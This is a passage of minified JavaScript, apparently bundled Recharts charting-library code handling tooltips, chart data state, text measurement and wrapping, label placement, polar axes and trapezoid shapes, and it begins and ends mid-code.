Array(x);y{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),Dee=zL.reducer,{createEventEmitter:kee}=zL.actions;function Lee(e){return e.tooltip.syncInteraction}var Iee={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},$L=An({name:"chartData",initialState:Iee,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:KN,setDataStartEndIndexes:zee,setComputedData:Sue}=$L.actions,$ee=$L.reducer,Bee=["x","y"];function YN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function wl(e){for(var t=1;tf.rootProps.className);v.useEffect(()=>{if(e==null)return Gc;var f=(h,p,m)=>{if(t!==m&&e===h){if(r==="index"){var y;if(c&&p!==null&&p!==void 0&&(y=p.payload)!==null&&y!==void 0&&y.coordinate&&p.payload.sourceViewBox){var x=p.payload.coordinate,{x:S,y:w}=x,O=Fee(x,Bee),{x:A,y:_,width:T,height:j}=p.payload.sourceViewBox,M=wl(wl({},O),{},{x:c.x+(T?(S-A)/T:0)*c.width,y:c.y+(j?(w-_)/j:0)*c.height});n(wl(wl({},p),{},{payload:wl(wl({},p.payload),{},{coordinate:M})}))}else n(p);return}if(i!=null){var P;if(typeof r=="function"){var R={activeTooltipIndex:p.payload.index==null?void 0:Number(p.payload.index),isTooltipActive:p.payload.active,activeIndex:p.payload.index==null?void 0:Number(p.payload.index),activeLabel:p.payload.label,activeDataKey:p.payload.dataKey,activeCoordinate:p.payload.coordinate},I=r(i,R);P=i[I]}else r==="value"&&(P=i.find(L=>String(L.value)===p.payload.label));var{coordinate:B}=p.payload;if(P==null||p.payload.active===!1||B==null||c==null){n(ub({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:q,y:U}=B,V=Math.min(q,c.x+c.width),oe=Math.min(U,c.y+c.height),le={x:l==="horizontal"?P.coordinate:V,y:l==="horizontal"?oe:P.coordinate},ce=ub({active:p.payload.active,coordinate:le,dataKey:p.payload.dataKey,index:String(P.index),label:p.payload.label,sourceViewBox:p.payload.sourceViewBox,graphicalItemId:p.payload.graphicalItemId});n(ce)}}};return zc.on(hb,f),()=>{zc.off(hb,f)}},[u,n,t,e,r,i,l,c])}function Yee(){var e=we(Jx),t=we(e1),n=ft();v.useEffect(()=>{if(e==null)return Gc;var r=(i,l,c)=>{t!==c&&e===i&&n(zee(l))};return zc.on(VN,r),()=>{zc.off(VN,r)}},[n,t,e])}function Gee(){var e=ft();v.useEffect(()=>{e(kee())},[e]),Kee(),Yee()}function Wee(e,t,n,r,i,l){var c=we(x=>nee(x,e,t)),u=we(e1),f=we(Jx),h=we(Dk),p=we(Lee),m=p?.active,y=up();v.useEffect(()=>{if(!m&&f!=null&&u!=null){var x=ub({active:l,coordinate:n,dataKey:c,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:y,graphicalItemId:void 0});zc.emit(hb,f,x,u)}},[m,n,c,i,r,u,f,h,l,y])}function GN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function WN(e){for(var t=1;t{R(ZQ({shared:_,trigger:T,axisId:P,active:i,defaultIndex:I}))},[R,_,T,P,i,I]);var B=up(),q=AD(),U=VQ(_),{activeIndex:V,isActive:oe}=(t=we(ee=>iee(ee,U,T,I)))!==null&&t!==void 0?t:{},le=we(ee=>aee(ee,U,T,I)),ce=we(ee=>DL(ee,U,T,I)),L=we(ee=>ree(ee,U,T,I)),F=le,$=Nee(),Z=(n=i??oe)!==null&&n!==void 0?n:!1,[de,D]=SV([F,Z]),X=U==="axis"?ce:void 0;Wee(U,T,L,X,V,Z);var ae=M??$;if(ae==null||B==null||U==null)return null;var se=F??XN;Z||(se=XN),h&&se.length&&(se=XF(se.filter(ee=>ee.value!=null&&(ee.hide!==!0||r.includeHidden)),y,Jee));var me=se.length>0,xe=v.createElement(FY,{allowEscapeViewBox:l,animationDuration:c,animationEasing:u,isAnimationActive:p,active:Z,coordinate:L,hasPayload:me,offset:m,position:x,reverseDirection:S,useTranslate3d:w,viewBox:B,wrapperStyle:O,lastBoundingBox:de,innerRef:D,hasPortalFromProps:!!M},ete(f,WN(WN({},r),{},{payload:se,label:X,active:Z,activeIndex:V,coordinate:L,accessibilityLayer:q})));return v.createElement(v.Fragment,null,wo.createPortal(xe,ae),Z&&v.createElement(Tee,{cursor:A,tooltipEventType:U,coordinate:L,payload:se,index:V}))}var vo=e=>null;vo.displayName="Cell";function rte(e,t,n){return(t=ate(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ate(e){var t=ite(e,"string");return typeof t=="symbol"?t:t+""}function ite(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class ote{constructor(t){rte(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function ZN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function lte(e){for(var t=1;t{try{var n=document.getElementById(JN);n||(n=document.createElement("span"),n.setAttribute("id",JN),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,dte,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},bc=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||mp.isSsr)return{width:0,height:0};if(!BL.enableCache)return e2(t,n);var r=hte(t,n),i=QN.get(r);if(i)return i;var l=e2(t,n);return QN.set(r,l),l},UL;function pte(e,t,n){return(t=mte(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mte(e){var t=vte(e,"string");return typeof t=="symbol"?t:t+""}function vte(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var t2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,n2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,gte=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,yte=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,bte={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},xte=["cm","mm","pt","pc","in","Q","px"];function wte(e){return xte.includes(e)}var Al="NaN";function Ste(e,t){return e*bte[t]}class Jt{static parse(t){var n,[,r,i]=(n=yte.exec(t))!==null&&n!==void 0?n:[];return r==null?Jt.NaN:new Jt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,Hr(t)&&(this.unit=""),n!==""&&!gte.test(n)&&(this.num=NaN,this.unit=""),wte(n)&&(this.num=Ste(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return Hr(this.num)}}UL=Jt;pte(Jt,"NaN",new UL(NaN,""));function HL(e){if(e==null||e.includes(Al))return Al;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,l]=(n=t2.exec(t))!==null&&n!==void 0?n:[],c=Jt.parse(r??""),u=Jt.parse(l??""),f=i==="*"?c.multiply(u):c.divide(u);if(f.isNaN())return Al;t=t.replace(t2,f.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var h,[,p,m,y]=(h=n2.exec(t))!==null&&h!==void 0?h:[],x=Jt.parse(p??""),S=Jt.parse(y??""),w=m==="+"?x.add(S):x.subtract(S);if(w.isNaN())return Al;t=t.replace(n2,w.toString())}return t}var r2=/\(([^()]*)\)/;function Ote(e){for(var t=e,n;(n=r2.exec(t))!=null;){var[,r]=n;t=t.replace(r2,HL(r))}return t}function Ete(e){var t=e.replace(/\s+/g,"");return t=Ote(t),t=HL(t),t}function Ate(e){try{return Ete(e)}catch{return Al}}function Fy(e){var t=Ate(e.slice(5,-1));return t===Al?"":t}var Cte=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],_te=["dx","dy","angle","className","breakAll"];function pb(){return pb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Vt(t)||(n?i=t.toString().split(""):i=t.toString().split(qL));var l=i.map(u=>({word:u,width:bc(u,r).width})),c=n?0:bc(" ",r).width;return{wordsWithComputedWidth:l,spaceWidth:c}}catch{return null}};function Nte(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var VL=(e,t,n,r)=>e.reduce((i,l)=>{var{word:c,width:u}=l,f=i[i.length-1];if(f&&u!=null&&(t==null||r||f.width+u+ne.reduce((t,n)=>t.width>n.width?t:n),Mte="…",i2=(e,t,n,r,i,l,c,u)=>{var f=e.slice(0,t),h=FL({breakAll:n,style:r,children:f+Mte});if(!h)return[!1,[]];var p=VL(h.wordsWithComputedWidth,l,c,u),m=p.length>i||KL(p).width>Number(l);return[m,p]},jte=(e,t,n,r,i)=>{var{maxLines:l,children:c,style:u,breakAll:f}=e,h=Oe(l),p=String(c),m=VL(t,r,n,i);if(!h||i)return m;var y=m.length>l||KL(m).width>Number(r);if(!y)return m;for(var x=0,S=p.length-1,w=0,O;x<=S&&w<=p.length-1;){var A=Math.floor((x+S)/2),_=A-1,[T,j]=i2(p,_,f,u,l,r,n,i),[M]=i2(p,A,f,u,l,r,n,i);if(!T&&!M&&(x=A+1),T&&M&&(S=A-1),!T&&M){O=j;break}w++}return O||m},o2=e=>{var t=Vt(e)?[]:e.toString().split(qL);return[{words:t,width:void 0}]},Pte=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:l,maxLines:c}=e;if((t||n)&&!mp.isSsr){var u,f,h=FL({breakAll:l,children:r,style:i});if(h){var{wordsWithComputedWidth:p,spaceWidth:m}=h;u=p,f=m}else return o2(r);return jte({breakAll:l,children:r,maxLines:c,style:i},u,f,t,!!n)}return o2(r)},YL="#808080",Rte={angle:0,breakAll:!1,capHeight:"0.71em",fill:YL,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},kp=v.forwardRef((e,t)=>{var n=pn(e,Rte),{x:r,y:i,lineHeight:l,capHeight:c,fill:u,scaleToFit:f,textAnchor:h,verticalAnchor:p}=n,m=a2(n,Cte),y=v.useMemo(()=>Pte({breakAll:m.breakAll,children:m.children,maxLines:m.maxLines,scaleToFit:f,style:m.style,width:m.width}),[m.breakAll,m.children,m.maxLines,f,m.style,m.width]),{dx:x,dy:S,angle:w,className:O,breakAll:A}=m,_=a2(m,_te);if(!qr(r)||!qr(i)||y.length===0)return null;var T=Number(r)+(Oe(x)?x:0),j=Number(i)+(Oe(S)?S:0);if(!ht(T)||!ht(j))return null;var M;switch(p){case"start":M=Fy("calc(".concat(c,")"));break;case"middle":M=Fy("calc(".concat((y.length-1)/2," * -").concat(l," + (").concat(c," / 2))"));break;default:M=Fy("calc(".concat(y.length-1," * -").concat(l,")"));break}var P=[];if(f){var R=y[0].width,{width:I}=m;P.push("scale(".concat(Oe(I)&&Oe(R)?I/R:1,")"))}return w&&P.push("rotate(".concat(w,", ").concat(T,", ").concat(j,")")),P.length&&(_.transform=P.join(" ")),v.createElement("text",pb({},ur(_),{ref:t,x:T,y:j,className:Ye("recharts-text",O),textAnchor:h,fill:u.includes("url")?YL:u}),y.map((B,q)=>{var U=B.words.join(A?"":" ");return v.createElement("tspan",{x:T,dy:q===0?M:l,key:"".concat(U,"-").concat(q)},U)}))});kp.displayName="Text";var Dte=["labelRef"],kte=["content"];function l2(e,t){if(e==null)return{};var n,r,i=Lte(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c,children:u}=e,f=v.useMemo(()=>({x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c}),[t,n,r,i,l,c]);return v.createElement(GL.Provider,{value:f},u)},WL=()=>{var e=v.useContext(GL),t=up();return e||pD(t)},Ute=v.createContext(null),Hte=()=>{var e=v.useContext(Ute),t=we($k);return e||t},qte=e=>{var{value:t,formatter:n}=e,r=Vt(e.children)?t:e.children;return typeof n=="function"?n(r):r},I1=e=>e!=null&&typeof e=="function",Fte=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r},Vte=(e,t,n,r,i)=>{var{offset:l,className:c}=e,{cx:u,cy:f,innerRadius:h,outerRadius:p,startAngle:m,endAngle:y,clockWise:x}=i,S=(h+p)/2,w=Fte(m,y),O=w>=0?1:-1,A,_;switch(t){case"insideStart":A=m+O*l,_=x;break;case"insideEnd":A=y-O*l,_=!x;break;case"end":A=y+O*l,_=x;break;default:throw new Error("Unsupported position ".concat(t))}_=w<=0?_:!_;var T=Nt(u,f,S,A),j=Nt(u,f,S,A+(_?1:-1)*359),M="M".concat(T.x,",").concat(T.y,` - A`).concat(S,",").concat(S,",0,1,").concat(_?0:1,`, - `).concat(j.x,",").concat(j.y),P=Vt(e.id)?Ac("recharts-radial-line-"):e.id;return v.createElement("text",va({},r,{dominantBaseline:"central",className:Ye("recharts-radial-bar-label",c)}),v.createElement("defs",null,v.createElement("path",{id:P,d:M})),v.createElement("textPath",{xlinkHref:"#".concat(P)},n))},Kte=(e,t,n)=>{var{cx:r,cy:i,innerRadius:l,outerRadius:c,startAngle:u,endAngle:f}=e,h=(u+f)/2;if(n==="outside"){var{x:p,y:m}=Nt(r,i,c+t,h);return{x:p,y:m,textAnchor:p>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var y=(l+c)/2,{x,y:S}=Nt(r,i,y,h);return{x,y:S,textAnchor:"middle",verticalAnchor:"middle"}},mb=e=>"cx"in e&&Oe(e.cx),Yte=(e,t)=>{var{parentViewBox:n,offset:r,position:i}=e,l;n!=null&&!mb(n)&&(l=n);var{x:c,y:u,upperWidth:f,lowerWidth:h,height:p}=t,m=c,y=c+(f-h)/2,x=(m+y)/2,S=(f+h)/2,w=m+f/2,O=p>=0?1:-1,A=O*r,_=O>0?"end":"start",T=O>0?"start":"end",j=f>=0?1:-1,M=j*r,P=j>0?"end":"start",R=j>0?"start":"end";if(i==="top"){var I={x:m+f/2,y:u-A,textAnchor:"middle",verticalAnchor:_};return Ot(Ot({},I),l?{height:Math.max(u-l.y,0),width:f}:{})}if(i==="bottom"){var B={x:y+h/2,y:u+p+A,textAnchor:"middle",verticalAnchor:T};return Ot(Ot({},B),l?{height:Math.max(l.y+l.height-(u+p),0),width:h}:{})}if(i==="left"){var q={x:x-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"};return Ot(Ot({},q),l?{width:Math.max(q.x-l.x,0),height:p}:{})}if(i==="right"){var U={x:x+S+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"};return Ot(Ot({},U),l?{width:Math.max(l.x+l.width-U.x,0),height:p}:{})}var V=l?{width:S,height:p}:{};return i==="insideLeft"?Ot({x:x+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"},V):i==="insideRight"?Ot({x:x+S-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"},V):i==="insideTop"?Ot({x:m+f/2,y:u+A,textAnchor:"middle",verticalAnchor:T},V):i==="insideBottom"?Ot({x:y+h/2,y:u+p-A,textAnchor:"middle",verticalAnchor:_},V):i==="insideTopLeft"?Ot({x:m+M,y:u+A,textAnchor:R,verticalAnchor:T},V):i==="insideTopRight"?Ot({x:m+f-M,y:u+A,textAnchor:P,verticalAnchor:T},V):i==="insideBottomLeft"?Ot({x:y+M,y:u+p-A,textAnchor:R,verticalAnchor:_},V):i==="insideBottomRight"?Ot({x:y+h-M,y:u+p-A,textAnchor:P,verticalAnchor:_},V):i&&typeof i=="object"&&(Oe(i.x)||Ea(i.x))&&(Oe(i.y)||Ea(i.y))?Ot({x:c+on(i.x,S),y:u+on(i.y,p),textAnchor:"end",verticalAnchor:"end"},V):Ot({x:w,y:u+p/2,textAnchor:"middle",verticalAnchor:"middle"},V)},Gte={angle:0,offset:5,zIndex:an.label,position:"middle",textBreakAll:!1};function vi(e){var t=pn(e,Gte),{viewBox:n,position:r,value:i,children:l,content:c,className:u="",textBreakAll:f,labelRef:h}=t,p=Hte(),m=WL(),y=r==="center"?m:p??m,x,S,w;if(n==null?x=y:mb(n)?x=n:x=pD(n),!x||Vt(i)&&Vt(l)&&!v.isValidElement(c)&&typeof c!="function")return null;var O=Ot(Ot({},t),{},{viewBox:x});if(v.isValidElement(c)){var{labelRef:A}=O,_=l2(O,Dte);return v.cloneElement(c,_)}if(typeof c=="function"){var{content:T}=O,j=l2(O,kte);if(S=v.createElement(c,j),v.isValidElement(S))return S}else S=qte(t);var M=ur(t);if(mb(x)){if(r==="insideStart"||r==="insideEnd"||r==="end")return Vte(t,r,S,M,x);w=Kte(x,t.offset,t.position)}else w=Yte(t,x);return v.createElement(Gr,{zIndex:t.zIndex},v.createElement(kp,va({ref:h,className:Ye("recharts-label",u)},M,w,{textAnchor:Nte(M.textAnchor)?M.textAnchor:w.textAnchor,breakAll:f}),S))}vi.displayName="Label";var Wte=(e,t,n)=>{if(!e)return null;var r={viewBox:t,labelRef:n};return e===!0?v.createElement(vi,va({key:"label-implicit"},r)):qr(e)?v.createElement(vi,va({key:"label-implicit",value:e},r)):v.isValidElement(e)?e.type===vi?v.cloneElement(e,Ot({key:"label-implicit"},r)):v.createElement(vi,va({key:"label-implicit",content:e},r)):I1(e)?v.createElement(vi,va({key:"label-implicit",content:e},r)):e&&typeof e=="object"?v.createElement(vi,va({},e,{key:"label-implicit"},r)):null};function Xte(e){var{label:t,labelRef:n}=e,r=WL();return Wte(t,r,n)||null}var Vy={},Ky={},c2;function Zte(){return c2||(c2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(Ky)),Ky}var Yy={},u2;function Qte(){return u2||(u2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(Yy)),Yy}var f2;function Jte(){return f2||(f2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Zte(),n=Qte(),r=dx();function i(l){if(r.isArrayLike(l))return t.last(n.toArray(l))}e.last=i})(Vy)),Vy}var Gy,d2;function ene(){return d2||(d2=1,Gy=Jte().last),Gy}var tne=ene();const nne=Vr(tne);var rne=["valueAccessor"],ane=["dataKey","clockWise","id","textBreakAll","zIndex"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?nne(e.value):e.value,XL=v.createContext(void 0),lne=XL.Provider,ZL=v.createContext(void 0),sne=ZL.Provider;function cne(){return v.useContext(XL)}function une(){return v.useContext(ZL)}function vd(e){var{valueAccessor:t=one}=e,n=h2(e,rne),{dataKey:r,clockWise:i,id:l,textBreakAll:c,zIndex:u}=n,f=h2(n,ane),h=cne(),p=une(),m=h||p;return!m||!m.length?null:v.createElement(Gr,{zIndex:u??an.label},v.createElement(fn,{className:"recharts-label-list"},m.map((y,x)=>{var S,w=Vt(r)?t(y,x):lt(y&&y.payload,r),O=Vt(l)?{}:{id:"".concat(l,"-").concat(x)};return v.createElement(vi,fh({key:"label-".concat(x)},ur(y),f,O,{fill:(S=n.fill)!==null&&S!==void 0?S:y.fill,parentViewBox:y.parentViewBox,value:w,textBreakAll:c,viewBox:y.viewBox,index:x,zIndex:0}))})))}vd.displayName="LabelList";function QL(e){var{label:t}=e;return t?t===!0?v.createElement(vd,{key:"labelList-implicit"}):v.isValidElement(t)||I1(t)?v.createElement(vd,{key:"labelList-implicit",content:t}):typeof t=="object"?v.createElement(vd,fh({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}var JL=e=>e.graphicalItems.polarItems,fne=G([dt,ou],o1),Lp=G([JL,pt,fne],s1),dne=G([Lp],c1),Ip=G([dne,Ep],u1),hne=G([Ip,pt,Lp],d1);G([Ip,pt,Lp],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var l,c=lt(r,(l=t.dataKey)!==null&&l!==void 0?l:i.dataKey);return{value:c,errorDomain:[]}})).filter(Boolean):t?.dataKey!=null?e.map(r=>({value:lt(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var p2=()=>{},pne=G([Ip,pt,Lp,jp,dt],v1),mne=G([pt,p1,m1,p2,pne,p2,Fe,dt],g1),eI=G([pt,Fe,Ip,hne,iu,dt,mne],y1),vne=G([eI,pt,rs],w1);G([pt,eI,vne,dt],O1);var gne={radiusAxis:{},angleAxis:{}},tI=An({name:"polarAxis",initialState:gne,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:Oue,removeRadiusAxis:Eue,addAngleAxis:Aue,removeAngleAxis:Cue}=tI.actions,yne=tI.reducer;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function v2(e){for(var t=1;tt,z1=G([JL,Sne],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),One=[],$1=(e,t,n)=>n?.length===0?One:n,nI=G([Ep,z1,$1],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if(t?.data!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(l=>v2(v2({},t.presentationProps),l.props))),i!=null)return i}}),Ene=G([nI,z1,$1],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var l,c=lt(r,t.nameKey,t.name),u;return n!=null&&(l=n[i])!==null&&l!==void 0&&(l=l.props)!==null&&l!==void 0&&l.fill?u=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?u=r.fill:u=t.fill,{value:ip(c,t.dataKey),color:u,payload:r,type:t.legendType}})}),Ane=G([nI,z1,$1,kt],(e,t,n,r)=>{if(!(t==null||e==null))return Nre({offset:r,pieSettings:t,displayedData:e,cells:n})}),Wy={exports:{}},et={};var g2;function Cne(){if(g2)return et;g2=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.portal"),n=Symbol.for("react.fragment"),r=Symbol.for("react.strict_mode"),i=Symbol.for("react.profiler"),l=Symbol.for("react.consumer"),c=Symbol.for("react.context"),u=Symbol.for("react.forward_ref"),f=Symbol.for("react.suspense"),h=Symbol.for("react.suspense_list"),p=Symbol.for("react.memo"),m=Symbol.for("react.lazy"),y=Symbol.for("react.view_transition"),x=Symbol.for("react.client.reference");function S(w){if(typeof w=="object"&&w!==null){var O=w.$$typeof;switch(O){case e:switch(w=w.type,w){case n:case i:case r:case f:case h:case y:return w;default:switch(w=w&&w.$$typeof,w){case c:case u:case m:case p:return w;case l:return w;default:return O}}case t:return O}}}return et.ContextConsumer=l,et.ContextProvider=c,et.Element=e,et.ForwardRef=u,et.Fragment=n,et.Lazy=m,et.Memo=p,et.Portal=t,et.Profiler=i,et.StrictMode=r,et.Suspense=f,et.SuspenseList=h,et.isContextConsumer=function(w){return S(w)===l},et.isContextProvider=function(w){return S(w)===c},et.isElement=function(w){return typeof w=="object"&&w!==null&&w.$$typeof===e},et.isForwardRef=function(w){return S(w)===u},et.isFragment=function(w){return S(w)===n},et.isLazy=function(w){return S(w)===m},et.isMemo=function(w){return S(w)===p},et.isPortal=function(w){return S(w)===t},et.isProfiler=function(w){return S(w)===i},et.isStrictMode=function(w){return S(w)===r},et.isSuspense=function(w){return S(w)===f},et.isSuspenseList=function(w){return S(w)===h},et.isValidElementType=function(w){return typeof w=="string"||typeof w=="function"||w===n||w===i||w===r||w===f||w===h||typeof w=="object"&&w!==null&&(w.$$typeof===m||w.$$typeof===p||w.$$typeof===c||w.$$typeof===l||w.$$typeof===u||w.$$typeof===x||w.getModuleId!==void 0)},et.typeOf=S,et}var y2;function _ne(){return y2||(y2=1,Wy.exports=Cne()),Wy.exports}var Tne=_ne(),b2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",x2=null,Xy=null,rI=e=>{if(e===x2&&Array.isArray(Xy))return Xy;var t=[];return v.Children.forEach(e,n=>{Vt(n)||(Tne.isFragment(n)?t=t.concat(rI(n.props.children)):t.push(n))}),Xy=t,x2=e,t};function B1(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>b2(i)):r=[b2(t)],rI(e).forEach(i=>{var l=co(i,"type.displayName")||co(i,"type.name");l&&r.indexOf(l)!==-1&&n.push(i)}),n}var Zy={},w2;function Nne(){return w2||(w2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const i=n[Symbol.toStringTag];return i==null||!Object.getOwnPropertyDescriptor(n,Symbol.toStringTag)?.writable?!1:n.toString()===`[object ${i}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(Zy)),Zy}var Qy,S2;function Mne(){return S2||(S2=1,Qy=Nne().isPlainObject),Qy}var jne=Mne();const Pne=Vr(jne);var O2,E2,A2,C2,_2;function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function N2(e){for(var t=1;t{var l=n-r,c;return c=gt(O2||(O2=fc(["M ",",",""])),e,t),c+=gt(E2||(E2=fc(["L ",",",""])),e+n,t),c+=gt(A2||(A2=fc(["L ",",",""])),e+n-l/2,t+i),c+=gt(C2||(C2=fc(["L ",",",""])),e+n-l/2-r,t+i),c+=gt(_2||(_2=fc(["L ",","," Z"])),e,t),c},Lne={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Ine=e=>{var t=pn(e,Lne),{x:n,y:r,upperWidth:i,lowerWidth:l,height:c,className:u}=t,{animationEasing:f,animationDuration:h,animationBegin:p,isUpdateAnimationActive:m}=t,y=v.useRef(null),[x,S]=v.useState(-1),w=v.useRef(i),O=v.useRef(l),A=v.useRef(c),_=v.useRef(n),T=v.useRef(r),j=gp(e,"trapezoid-");if(v.useEffect(()=>{if(y.current&&y.current.getTotalLength)try{var le=y.current.getTotalLength();le&&S(le)}catch{}},[]),n!==+n||r!==+r||i!==+i||l!==+l||c!==+c||i===0&&l===0||c===0)return null;var M=Ye("recharts-trapezoid",u);if(!m)return v.createElement("g",null,v.createElement("path",dh({},ur(t),{className:M,d:M2(n,r,i,l,c)})));var P=w.current,R=O.current,I=A.current,B=_.current,q=T.current,U="0px ".concat(x===-1?1:x,"px"),V="".concat(x,"px 0px"),oe=CD(["strokeDasharray"],h,f);return v.createElement(vp,{animationId:j,key:j,canBegin:x>0,duration:h,easing:f,isActive:m,begin:p},le=>{var ce=Rt(P,i,le),L=Rt(R,l,le),F=Rt(I,c,le),$=Rt(B,n,le),Z=Rt(q,r,le);y.current&&(w.current=ce,O.current=L,A.current=F,_.current=$,T.current=Z);var 